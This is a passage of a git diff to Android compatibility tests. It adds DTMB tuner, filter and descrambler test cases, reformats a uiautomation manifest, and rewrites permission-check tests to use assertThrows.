+            assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
+        }
+    }
+
+    @Test
+    public void testDtmbFrontendSettings() throws Exception {
+        if (!TunerVersionChecker.checkHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1,
+                TAG + ": testDtmbFrontendSettings")) {
+            return;
+        }
+        DtmbFrontendSettings settings =
+                DtmbFrontendSettings
+                        .builder()
+                        .setFrequency(6)
+                        .setModulation(DtmbFrontendSettings.MODULATION_CONSTELLATION_4QAM)
+                        .setCodeRate(DtmbFrontendSettings.CODERATE_2_5)
+                        .setTransmissionMode(DtmbFrontendSettings.TRANSMISSION_MODE_C1)
+                        .setBandwidth(DtmbFrontendSettings.BANDWIDTH_8MHZ)
+                        .setTimeInterleaveMode(
+                                DtmbFrontendSettings.TIME_INTERLEAVE_MODE_TIMER_INT_240)
+                        .setGuardInterval(DtmbFrontendSettings.GUARD_INTERVAL_PN_945_VARIOUS)
+                        .build();
+        assertEquals(FrontendSettings.TYPE_DTMB, settings.getType());
+        assertEquals(6, settings.getFrequency());
+        assertEquals(DtmbFrontendSettings.TRANSMISSION_MODE_C1, settings.getTransmissionMode());
+        assertEquals(DtmbFrontendSettings.BANDWIDTH_8MHZ, settings.getBandwidth());
+        assertEquals(DtmbFrontendSettings.MODULATION_CONSTELLATION_4QAM, settings.getModulation());
+        assertEquals(DtmbFrontendSettings.TIME_INTERLEAVE_MODE_TIMER_INT_240,
+                settings.getTimeInterleaveMode());
+        assertEquals(DtmbFrontendSettings.CODERATE_2_5, settings.getCodeRate());
+        assertEquals(DtmbFrontendSettings.GUARD_INTERVAL_PN_945_VARIOUS,
+                settings.getGuardInterval());
     }
 
     @Test
     public void testFrontendInfo() throws Exception {
-        if (!hasTuner()) return;
         List<Integer> ids = mTuner.getFrontendIds();
+        List<FrontendInfo> infos = mTuner.getAvailableFrontendInfos();
+        Map<Integer, FrontendInfo> infoMap = new HashMap<>();
+        for (FrontendInfo info : infos) {
+            infoMap.put(info.getId(), info);
+        }
         for (int id : ids) {
             FrontendInfo info = mTuner.getFrontendInfoById(id);
+            FrontendInfo infoFromMap = infoMap.get(id);
             assertNotNull(info);
+            assertThat(info).isEqualTo(infoFromMap);
             assertEquals(id, info.getId());
             assertTrue(info.getFrequencyRange().getLower() > 0);
             assertTrue(info.getSymbolRateRange().getLower() >= 0);
@@ -369,7 +541,9 @@
             info.getStatusCapabilities();
 
             FrontendCapabilities caps = info.getFrontendCapabilities();
-            assertNotNull(caps);
+            if (info.getType() <= FrontendSettings.TYPE_ISDBT) {
+                assertNotNull(caps);
+            }
             switch(info.getType()) {
                 case FrontendSettings.TYPE_ANALOG:
                     testAnalogFrontendCapabilities(caps);
@@ -398,10 +572,15 @@
                 case FrontendSettings.TYPE_ISDBT:
                     testIsdbtFrontendCapabilities(caps);
                     break;
+                case FrontendSettings.TYPE_DTMB:
+                    testDtmbFrontendCapabilities(caps);
+                    break;
                 default:
                     break;
             }
+            infoMap.remove(id);
         }
+        assertTrue(infoMap.isEmpty());
     }
 
     private void testAnalogFrontendCapabilities(FrontendCapabilities caps) throws Exception {
@@ -432,6 +611,8 @@
         assertTrue(caps instanceof DvbcFrontendCapabilities);
         DvbcFrontendCapabilities dvbcCaps = (DvbcFrontendCapabilities) caps;
         dvbcCaps.getModulationCapability();
+        // getFecCapability is deprecated starting Android 12. Use getCodeRateCapability instead.
+        dvbcCaps.getCodeRateCapability();
         dvbcCaps.getFecCapability();
         dvbcCaps.getAnnexCapability();
     }
@@ -481,6 +662,17 @@
         isdbtCaps.getGuardIntervalCapability();
     }
 
+    private void testDtmbFrontendCapabilities(FrontendCapabilities caps) throws Exception {
+        assertTrue(caps instanceof DtmbFrontendCapabilities);
+        DtmbFrontendCapabilities dtmbCaps = (DtmbFrontendCapabilities) caps;
+        dtmbCaps.getTimeInterleaveModeCapability();
+        dtmbCaps.getBandwidthCapability();
+        dtmbCaps.getModulationCapability();
+        dtmbCaps.getCodeRateCapability();
+        dtmbCaps.getTransmissionModeCapability();
+        dtmbCaps.getGuardIntervalCapability();
+    }
+
     private boolean hasTuner() {
         return mContext.getPackageManager().hasSystemFeature("android.hardware.tv.tuner");
     }
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
index 5e26e25..e603136 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
@@ -17,53 +17,54 @@
 package android.media.tv.tuner.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
-
+import android.content.pm.PackageManager;
 import android.media.tv.tuner.DemuxCapabilities;
 import android.media.tv.tuner.Descrambler;
-import android.media.tv.tuner.LnbCallback;
 import android.media.tv.tuner.Lnb;
+import android.media.tv.tuner.LnbCallback;
 import android.media.tv.tuner.Tuner;
+import android.media.tv.tuner.TunerVersionChecker;
 import android.media.tv.tuner.dvr.DvrPlayback;
 import android.media.tv.tuner.dvr.DvrRecorder;
 import android.media.tv.tuner.dvr.OnPlaybackStatusChangedListener;
 import android.media.tv.tuner.dvr.OnRecordStatusChangedListener;
-
 import android.media.tv.tuner.filter.AudioDescriptor;
 import android.media.tv.tuner.filter.AvSettings;
 import android.media.tv.tuner.filter.DownloadEvent;
+import android.media.tv.tuner.filter.Filter;
 import android.media.tv.tuner.filter.FilterCallback;
 import android.media.tv.tuner.filter.FilterConfiguration;
 import android.media.tv.tuner.filter.FilterEvent;
-import android.media.tv.tuner.filter.Filter;
+import android.media.tv.tuner.filter.IpCidChangeEvent;
+import android.media.tv.tuner.filter.IpFilterConfiguration;
 import android.media.tv.tuner.filter.IpPayloadEvent;
 import android.media.tv.tuner.filter.MediaEvent;
 import android.media.tv.tuner.filter.MmtpRecordEvent;
 import android.media.tv.tuner.filter.PesEvent;
+import android.media.tv.tuner.filter.RestartEvent;
+import android.media.tv.tuner.filter.ScramblingStatusEvent;
 import android.media.tv.tuner.filter.SectionEvent;
 import android.media.tv.tuner.filter.SectionSettingsWithTableInfo;
 import android.media.tv.tuner.filter.Settings;
-import android.media.tv.tuner.filter.TsFilterConfiguration;
 import android.media.tv.tuner.filter.TemiEvent;
 import android.media.tv.tuner.filter.TimeFilter;
+import android.media.tv.tuner.filter.TsFilterConfiguration;
 import android.media.tv.tuner.filter.TsRecordEvent;
-
 import android.media.tv.tuner.frontend.AnalogFrontendCapabilities;
 import android.media.tv.tuner.frontend.AnalogFrontendSettings;
 import android.media.tv.tuner.frontend.Atsc3FrontendCapabilities;
 import android.media.tv.tuner.frontend.Atsc3FrontendSettings;
 import android.media.tv.tuner.frontend.Atsc3PlpInfo;
-import android.media.tv.tuner.frontend.Atsc3PlpSettings;
 import android.media.tv.tuner.frontend.AtscFrontendCapabilities;
 import android.media.tv.tuner.frontend.AtscFrontendSettings;
 import android.media.tv.tuner.frontend.DvbcFrontendCapabilities;
 import android.media.tv.tuner.frontend.DvbcFrontendSettings;
-import android.media.tv.tuner.frontend.DvbsCodeRate;
 import android.media.tv.tuner.frontend.DvbsFrontendCapabilities;
 import android.media.tv.tuner.frontend.DvbsFrontendSettings;
 import android.media.tv.tuner.frontend.DvbtFrontendCapabilities;
@@ -71,8 +72,8 @@
 import android.media.tv.tuner.frontend.FrontendCapabilities;
 import android.media.tv.tuner.frontend.FrontendInfo;
 import android.media.tv.tuner.frontend.FrontendSettings;
-import android.media.tv.tuner.frontend.FrontendStatus.Atsc3PlpTuningInfo;
 import android.media.tv.tuner.frontend.FrontendStatus;
+import android.media.tv.tuner.frontend.FrontendStatus.Atsc3PlpTuningInfo;
 import android.media.tv.tuner.frontend.Isdbs3FrontendCapabilities;
 import android.media.tv.tuner.frontend.Isdbs3FrontendSettings;
 import android.media.tv.tuner.frontend.IsdbsFrontendCapabilities;
@@ -86,21 +87,29 @@
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.RequiredFeatureRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
 import java.util.concurrent.TimeUnit;
 
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
 @RunWith(AndroidJUnit4.class)
 @SmallTest
 public class TunerTest {
     private static final String TAG = "MediaTunerTest";
 
+    @Rule
+    public RequiredFeatureRule featureRule = new RequiredFeatureRule(
+            PackageManager.FEATURE_TUNER);
+
     private static final int TIMEOUT_MS = 10000;
 
     private Context mContext;
@@ -112,7 +121,6 @@
         mContext = InstrumentationRegistry.getTargetContext();
         InstrumentationRegistry
                 .getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
-        if (!hasTuner()) return;
         mTuner = new Tuner(mContext, null, 100);
     }
 
@@ -126,13 +134,19 @@
 
     @Test
     public void testTunerConstructor() throws Exception {
-        if (!hasTuner()) return;
         assertNotNull(mTuner);
     }
 
     @Test
+    public void testTunerVersion() {
+        assertNotNull(mTuner);
+        int version = TunerVersionChecker.getTunerVersion();
+        assertTrue(version >= TunerVersionChecker.TUNER_VERSION_1_0);
+        assertTrue(version <= TunerVersionChecker.TUNER_VERSION_1_1);
+    }
+
+    @Test
     public void testTuning() throws Exception {
-        if (!hasTuner()) return;
         List<Integer> ids = mTuner.getFrontendIds();
         assertFalse(ids.isEmpty());
 
@@ -146,7 +160,6 @@
 
     @Test
     public void testScanning() throws Exception {
-        if (!hasTuner()) return;
         List<Integer> ids = mTuner.getFrontendIds();
         assertFalse(ids.isEmpty());
         for (int id : ids) {
@@ -169,7 +182,6 @@
 
     @Test
     public void testFrontendStatus() throws Exception {
-        if (!hasTuner()) return;
         List<Integer> ids = mTuner.getFrontendIds();
         assertFalse(ids.isEmpty());
 
@@ -256,13 +268,57 @@
                         }
                     }
                     break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_BERS:
+                    status.getBers();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_CODERATES:
+                    status.getCodeRates();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_BANDWIDTH:
+                    status.getBandwidth();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_GUARD_INTERVAL:
+                    status.getGuardInterval();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_TRANSMISSION_MODE:
+                    status.getTransmissionMode();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_UEC:
+                    status.getUec();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_T2_SYSTEM_ID:
+                    status.getSystemId();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_INTERLEAVINGS:
+                    status.getInterleaving();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_ISDBT_SEGMENTS:
+                    status.getIsdbtSegment();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_TS_DATA_RATES:
+                    status.getTsDataRate();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_MODULATIONS_EXT:
+                    status.getExtendedModulations();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_ROLL_OFF:
+                    status.getRollOff();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_IS_MISO:
+                    status.isMisoEnabled();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_IS_LINEAR:
+                    status.isLinear();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_IS_SHORT_FRAMES:
+                    status.isShortFramesEnabled();
+                    break;
             }
         }
     }
 
     @Test
     public void testLnb() throws Exception {
-        if (!hasTuner()) return;
         Lnb lnb = mTuner.openLnb(getExecutor(), getLnbCallback());
         if (lnb == null) return;
         assertEquals(lnb.setVoltage(Lnb.VOLTAGE_5V), Tuner.RESULT_SUCCESS);
@@ -275,7 +331,6 @@
 
     @Test
     public void testOpenLnbByname() throws Exception {
-        if (!hasTuner()) return;
         Lnb lnb = mTuner.openLnbByName("default", getExecutor(), getLnbCallback());
         if (lnb != null) {
             lnb.close();
@@ -284,8 +339,7 @@
 
     @Test
     public void testCiCam() throws Exception {
-        if (!hasTuner()) return;
-        // open filter to get demux resource
+    // open filter to get demux resource
         mTuner.openFilter(
                 Filter.TYPE_TS, Filter.SUBTYPE_SECTION, 1000, getExecutor(), getFilterCallback());
 
@@ -295,13 +349,13 @@
 
     @Test
     public void testAvSyncId() throws Exception {
-        if (!hasTuner()) return;
-        // open filter to get demux resource
+    // open filter to get demux resource
         Filter f = mTuner.openFilter(
                 Filter.TYPE_TS, Filter.SUBTYPE_AUDIO, 1000, getExecutor(), getFilterCallback());
         Settings settings = AvSettings
                 .builder(Filter.TYPE_TS, true)
                 .setPassthrough(false)
+                .setAudioStreamType(AvSettings.AUDIO_STREAM_TYPE_MPEG1)
                 .build();
         FilterConfiguration config = TsFilterConfiguration
                 .builder()
@@ -317,11 +371,15 @@
 
     @Test
     public void testReadFilter() throws Exception {
-        if (!hasTuner()) return;
         Filter f = mTuner.openFilter(
                 Filter.TYPE_TS, Filter.SUBTYPE_SECTION, 1000, getExecutor(), getFilterCallback());
         assertNotNull(f);
         assertNotEquals(Tuner.INVALID_FILTER_ID, f.getId());
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertNotEquals(Tuner.INVALID_FILTER_ID_64BIT, f.getId64Bit());
+        } else {
+            assertEquals(Tuner.INVALID_FILTER_ID_64BIT, f.getId64Bit());
+        }
 
         Settings settings = SectionSettingsWithTableInfo
                 .builder(Filter.TYPE_TS)
@@ -337,6 +395,8 @@
                 .setSettings(settings)
                 .build();
         f.configure(config);
+        f.setMonitorEventMask(
+                Filter.MONITOR_EVENT_SCRAMBLING_STATUS | Filter.MONITOR_EVENT_IP_CID_CHANGE);
 
         // Tune a frontend before start the filter
         List<Integer> ids = mTuner.getFrontendIds();
@@ -357,8 +417,43 @@
     }
 
     @Test
+    public void testAudioFilterStreamTypeConfig() throws Exception {
+        Filter f = mTuner.openFilter(
+                Filter.TYPE_TS, Filter.SUBTYPE_AUDIO, 1000, getExecutor(), getFilterCallback());
+        assertNotNull(f);
+        assertNotEquals(Tuner.INVALID_FILTER_ID, f.getId());
+
+        Settings settings = AvSettings
+                .builder(Filter.TYPE_TS, true)
+                .setPassthrough(false)
+                .setAudioStreamType(AvSettings.AUDIO_STREAM_TYPE_MPEG1)
+                .build();
+        FilterConfiguration config = TsFilterConfiguration
+                .builder()
+                .setTpid(10)
+                .setSettings(settings)
+                .build();
+        f.configure(config);
+
+        // Tune a frontend before start the filter
+        List<Integer> ids = mTuner.getFrontendIds();
+        assertFalse(ids.isEmpty());
+
+        FrontendInfo info = mTuner.getFrontendInfoById(ids.get(0));
+        int res = mTuner.tune(createFrontendSettings(info));
+        assertEquals(Tuner.RESULT_SUCCESS, res);
+
+        f.start();
+        f.flush();
+        f.stop();
+        f.close();
+
+        res = mTuner.cancelTuning();
+        assertEquals(Tuner.RESULT_SUCCESS, res);
+    }
+
+    @Test
     public void testTimeFilter() throws Exception {
-        if (!hasTuner()) return;
         if (!mTuner.getDemuxCapabilities().isTimeFilterSupported()) return;
         TimeFilter f = mTuner.openTimeFilter();
         assertNotNull(f);
@@ -370,13 +465,49 @@
     }
 
     @Test
+    public void testIpFilter() throws Exception {
+        Filter f = mTuner.openFilter(
+                Filter.TYPE_IP, Filter.SUBTYPE_IP, 1000, getExecutor(), getFilterCallback());
+        assertNotNull(f);
+        assertNotEquals(Tuner.INVALID_FILTER_ID, f.getId());
+
+        FilterConfiguration config = IpFilterConfiguration
+                .builder()
+                .setSrcIpAddress(new byte[] {(byte) 0xC0, (byte) 0xA8, 0, 1})
+                .setDstIpAddress(new byte[] {(byte) 0xC0, (byte) 0xA8, 3, 4})
+                .setSrcPort(33)
+                .setDstPort(23)
+                .setPassthrough(false)
+                .setSettings(null)
+                .setIpFilterContextId(1)
+                .build();
+        f.configure(config);
+
+        // Tune a frontend before start the filter
+        List<Integer> ids = mTuner.getFrontendIds();
+        assertFalse(ids.isEmpty());
+
+        FrontendInfo info = mTuner.getFrontendInfoById(ids.get(0));
+        int res = mTuner.tune(createFrontendSettings(info));
+        assertEquals(Tuner.RESULT_SUCCESS, res);
+
+        f.start();
+        f.stop();
+        f.close();
+
+        res = mTuner.cancelTuning();
+        assertEquals(Tuner.RESULT_SUCCESS, res);
+    }
+
+    @Test
     public void testDescrambler() throws Exception {
-        if (!hasTuner()) return;
         Descrambler d = mTuner.openDescrambler();
+        byte[] keyToken = new byte[] {1, 3, 2};
         assertNotNull(d);
         Filter f = mTuner.openFilter(
                 Filter.TYPE_TS, Filter.SUBTYPE_SECTION, 1000, getExecutor(), getFilterCallback());
-        d.setKeyToken(new byte[] {1, 3, 2});
+        assertTrue(d.isValidKeyToken(keyToken));
+        d.setKeyToken(keyToken);
         d.addPid(Descrambler.PID_TYPE_T, 1, f);
         d.removePid(Descrambler.PID_TYPE_T, 1, f);
         f.close();
@@ -384,22 +515,30 @@
     }
 
     @Test
+    public void testDescramblerKeyTokenValidator() throws Exception {
+        byte[] invalidToken = new byte[17];
+        byte[] validToken = new byte[] {1, 3, 2};
+        assertTrue(Descrambler.isValidKeyToken(validToken));
+        assertTrue(Descrambler.isValidKeyToken(Tuner.VOID_KEYTOKEN));
+        assertFalse(Descrambler.isValidKeyToken(invalidToken));
+    }
+
+    @Test
     public void testOpenDvrRecorder() throws Exception {
-        if (!hasTuner()) return;
         DvrRecorder d = mTuner.openDvrRecorder(100, getExecutor(), getRecordListener());
         assertNotNull(d);
+        d.close();
     }
 
     @Test
     public void testOpenDvPlayback() throws Exception {
-        if (!hasTuner()) return;
         DvrPlayback d = mTuner.openDvrPlayback(100, getExecutor(), getPlaybackListener());
         assertNotNull(d);
+        d.close();
     }
 
     @Test
     public void testDemuxCapabilities() throws Exception {
-        if (!hasTuner()) return;
         DemuxCapabilities d = mTuner.getDemuxCapabilities();
         assertNotNull(d);
 
@@ -420,33 +559,31 @@
 
     @Test
     public void testResourceLostListener() throws Exception {
-        if (!hasTuner()) return;
         mTuner.setResourceLostListener(getExecutor(), new Tuner.OnResourceLostListener() {
             @Override
-            public void onResourceLost(Tuner tuner) {}
+            public void onResourceLost(Tuner tuner) {
+            }
         });
         mTuner.clearResourceLostListener();
     }
 
     @Test
     public void testOnTuneEventListener() throws Exception {
-        if (!hasTuner()) return;
         mTuner.setOnTuneEventListener(getExecutor(), new OnTuneEventListener() {
             @Override
-            public void onTuneEvent(int tuneEvent) {}
+            public void onTuneEvent(int tuneEvent) {
+            }
         });
         mTuner.clearOnTuneEventListener();
     }
 
     @Test
     public void testUpdateResourcePriority() throws Exception {
-        if (!hasTuner()) return;
         mTuner.updateResourcePriority(100, 20);
     }
 
     @Test
     public void testShareFrontendFromTuner() throws Exception {
-        if (!hasTuner()) return;
         Tuner other = new Tuner(mContext, null, 100);
         List<Integer> ids = other.getFrontendIds();
         assertFalse(ids.isEmpty());
@@ -498,6 +635,12 @@
                         testTemiEvent(filter, (TemiEvent) e);
                     } else if (e instanceof TsRecordEvent) {
                         testTsRecordEvent(filter, (TsRecordEvent) e);
+                    } else if (e instanceof ScramblingStatusEvent) {
+                        testScramblingStatusEvent(filter, (ScramblingStatusEvent) e);
+                    } else if (e instanceof IpCidChangeEvent) {
+                        testIpCidChangeEvent(filter, (IpCidChangeEvent) e);
+                    } else if (e instanceof RestartEvent) {
+                        testRestartEvent(filter, (RestartEvent) e);
                     }
                 }
             }
@@ -547,11 +690,22 @@
             ad.getAdGainFront();
             ad.getAdGainSurround();
         }
+        e.release();
     }
 
     private void testMmtpRecordEvent(Filter filter, MmtpRecordEvent e) {
         e.getScHevcIndexMask();
         e.getDataLength();
+        int mpuSequenceNumber = e.getMpuSequenceNumber();
+        long pts = e.getPts();
+        int firstMbInSlice = e.getFirstMacroblockInSlice();
+        int tsIndexMask = e.getTsIndexMask();
+        if (!TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(mpuSequenceNumber, Tuner.INVALID_MMTP_RECORD_EVENT_MPT_SEQUENCE_NUM);
+            assertEquals(pts, Tuner.INVALID_TIMESTAMP);
+            assertEquals(firstMbInSlice, Tuner.INVALID_FIRST_MACROBLOCK_IN_SLICE);
+            assertEquals(tsIndexMask, 0);
+        }
     }
 
     private void testPesEvent(Filter filter, PesEvent e) {
@@ -586,6 +740,24 @@
         e.getTsIndexMask();
         e.getScIndexMask();
         e.getDataLength();
+        long pts = e.getPts();
+        int firstMbInSlice = e.getFirstMacroblockInSlice();
+        if (!TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(pts, Tuner.INVALID_TIMESTAMP);
+            assertEquals(firstMbInSlice, Tuner.INVALID_FIRST_MACROBLOCK_IN_SLICE);
+        }
+    }
+
+    private void testScramblingStatusEvent(Filter filter, ScramblingStatusEvent e) {
+        e.getScramblingStatus();
+    }
+
+    private void testIpCidChangeEvent(Filter filter, IpCidChangeEvent e) {
+        e.getIpCid();
+    }
+
+    private void testRestartEvent(Filter filter, RestartEvent e) {
+        e.getStartId();
     }
 
     private OnRecordStatusChangedListener getRecordListener() {
@@ -801,6 +973,15 @@
 
             @Override
             public void onSignalTypeReported(int signalType) {}
+
+            @Override
+            public void onModulationReported(int modulation) {}
+
+            @Override
+            public void onPriorityReported(boolean isHighPriority) {}
+
+            @Override
+            public void onDvbcAnnexReported(int dvbcAnnext) {}
         };
     }
 }
diff --git a/tests/tests/uiautomation/Android.bp b/tests/tests/uiautomation/Android.bp
index b4d80a8..9254d27 100644
--- a/tests/tests/uiautomation/Android.bp
+++ b/tests/tests/uiautomation/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsUiAutomationTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/uiautomation/AndroidManifest.xml b/tests/tests/uiautomation/AndroidManifest.xml
index fdc7457..34d8def 100644
--- a/tests/tests/uiautomation/AndroidManifest.xml
+++ b/tests/tests/uiautomation/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
  * Copyright (C) 2014 The Android Open Source Project
  *
@@ -17,50 +16,47 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.app.uiautomation.cts"
-        android:targetSandboxVersion="2">
+     package="android.app.uiautomation.cts"
+     android:targetSandboxVersion="2">
 
-  <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-  <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
-  <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
-  <uses-permission android:name="android.permission.ANSWER_PHONE_CALLS" />
+  <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+  <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+  <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+  <uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/>
 
   <application android:theme="@android:style/Theme.Holo.NoActionBar"
-          android:requestLegacyExternalStorage="true">
+       android:requestLegacyExternalStorage="true">
 
       <uses-library android:name="android.test.runner"/>
 
-      <activity
-          android:name="android.app.uiautomation.cts.UiAutomationTestFirstActivity"
-          android:exported="true">
+      <activity android:name="android.app.uiautomation.cts.UiAutomationTestFirstActivity"
+           android:exported="true">
       </activity>
 
-      <activity
-          android:name="android.app.uiautomation.cts.UiAutomationTestSecondActivity"
-          android:exported="true">
+      <activity android:name="android.app.uiautomation.cts.UiAutomationTestSecondActivity"
+           android:exported="true">
       </activity>
 
-      <service
-              android:name="android.app.uiautomation.cts.UiAutomationTestA11yService"
-              android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE" >
+      <service android:name="android.app.uiautomation.cts.UiAutomationTestA11yService"
+           android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.accessibilityservice.AccessibilityService" />
+              <action android:name="android.accessibilityservice.AccessibilityService"/>
 
-              <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+              <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
           </intent-filter>
 
-          <meta-data
-                  android:name="android.accessibilityservice"
-                  android:resource="@xml/ui_automation_test_a11y_service" />
+          <meta-data android:name="android.accessibilityservice"
+               android:resource="@xml/ui_automation_test_a11y_service"/>
       </service>
 
   </application>
 
   <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                   android:targetPackage="android.app.uiautomation.cts">
+       android:targetPackage="android.app.uiautomation.cts">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/tests/uiautomation/OWNERS b/tests/tests/uiautomation/OWNERS
index a98c458..bf9a18d 100644
--- a/tests/tests/uiautomation/OWNERS
+++ b/tests/tests/uiautomation/OWNERS
@@ -1,3 +1,5 @@
 # Bug component: 44215
 pweaver@google.com
 rhedjao@google.com
+qasid@google.com
+ryanlwlin@google.com
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
index 9135e56..e9c050a 100755
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
@@ -24,6 +24,7 @@
 
 import android.Manifest;
 import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibilityservice.AccessibilityService;
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.app.Activity;
 import android.app.ActivityManager;
@@ -39,10 +40,12 @@
 import android.platform.test.annotations.Presubmit;
 import android.provider.Settings;
 import android.view.FrameStats;
+import android.view.KeyEvent;
 import android.view.WindowAnimationFrameStats;
 import android.view.WindowContentFrameStats;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityManager;
+import android.view.accessibility.AccessibilityNodeInfo;
 import android.view.accessibility.AccessibilityWindowInfo;
 import android.widget.ListView;
 
@@ -91,24 +94,17 @@
         final PackageManager packageManager = context.getPackageManager();
 
         // Try to access APIs guarded by a platform defined signature permissions
-        try {
-            activityManager.getPackageImportance("foo.bar.baz");
-            fail("Should not be able to access APIs protected by a permission apps cannot get");
-        } catch (SecurityException e) {
-            /* expected */
-        }
-        try {
-            packageManager.grantRuntimePermission(context.getPackageName(),
-                    Manifest.permission.ANSWER_PHONE_CALLS, Process.myUserHandle());
-            fail("Should not be able to access APIs protected by a permission apps cannot get");
-        } catch (SecurityException e) {
-            /* expected */
-        }
+        assertThrows(SecurityException.class,
+                () -> activityManager.getPackageImportance("foo.bar.baz"),
+                "Should not be able to access APIs protected by a permission apps cannot get");
+        assertThrows(SecurityException.class,
+                () -> packageManager.grantRuntimePermission(context.getPackageName(),
+                        Manifest.permission.ANSWER_PHONE_CALLS, Process.myUserHandle()),
+                "Should not be able to access APIs protected by a permission apps cannot get");
 
         // Access APIs guarded by a platform defined signature permissions
         try {
             getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
-
             // Access APIs guarded by a platform defined signature permission
             activityManager.getPackageImportance("foo.bar.baz");
 
@@ -128,19 +124,13 @@
 
 
         // Try to access APIs guarded by a platform defined signature permissions
-        try {
-            activityManager.getPackageImportance("foo.bar.baz");
-            fail("Should not be able to access APIs protected by a permission apps cannot get");
-        } catch (SecurityException e) {
-            /* expected */
-        }
-        try {
-            packageManager.revokeRuntimePermission(context.getPackageName(),
-                    Manifest.permission.ANSWER_PHONE_CALLS, Process.myUserHandle());
-            fail("Should not be able to access APIs protected by a permission apps cannot get");
-        } catch (SecurityException e) {
-            /* expected */
-        }
+        assertThrows(SecurityException.class,
+                () -> activityManager.getPackageImportance("foo.bar.baz"),
+                "Should not be able to access APIs protected by a permission apps cannot get");
+        assertThrows(SecurityException.class,
+                () -> packageManager.revokeRuntimePermission(context.getPackageName(),
+                        Manifest.permission.ANSWER_PHONE_CALLS, Process.myUserHandle()),
+                "Should not be able to access APIs protected by a permission apps cannot get");
     }
 
     @AppModeFull
@@ -402,11 +392,8 @@
     public void testUsingUiAutomationAfterDestroy_shouldThrowException() {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         uiAutomation.destroy();
-        try {
-            uiAutomation.getServiceInfo();
-            fail("Expected exception when using destroyed UiAutomation");
-        } catch (RuntimeException e) {
-        }
+        assertThrows(RuntimeException.class, () -> uiAutomation.getServiceInfo(),
+                "Expected exception when using destroyed UiAutomation");
     }
 
     @AppModeFull
@@ -443,20 +430,14 @@
 
     @AppModeFull
     @Test
-    public void testServiceSupressingA11yServices_a11yServiceStartsWhenDestroyed()
-            throws Exception {
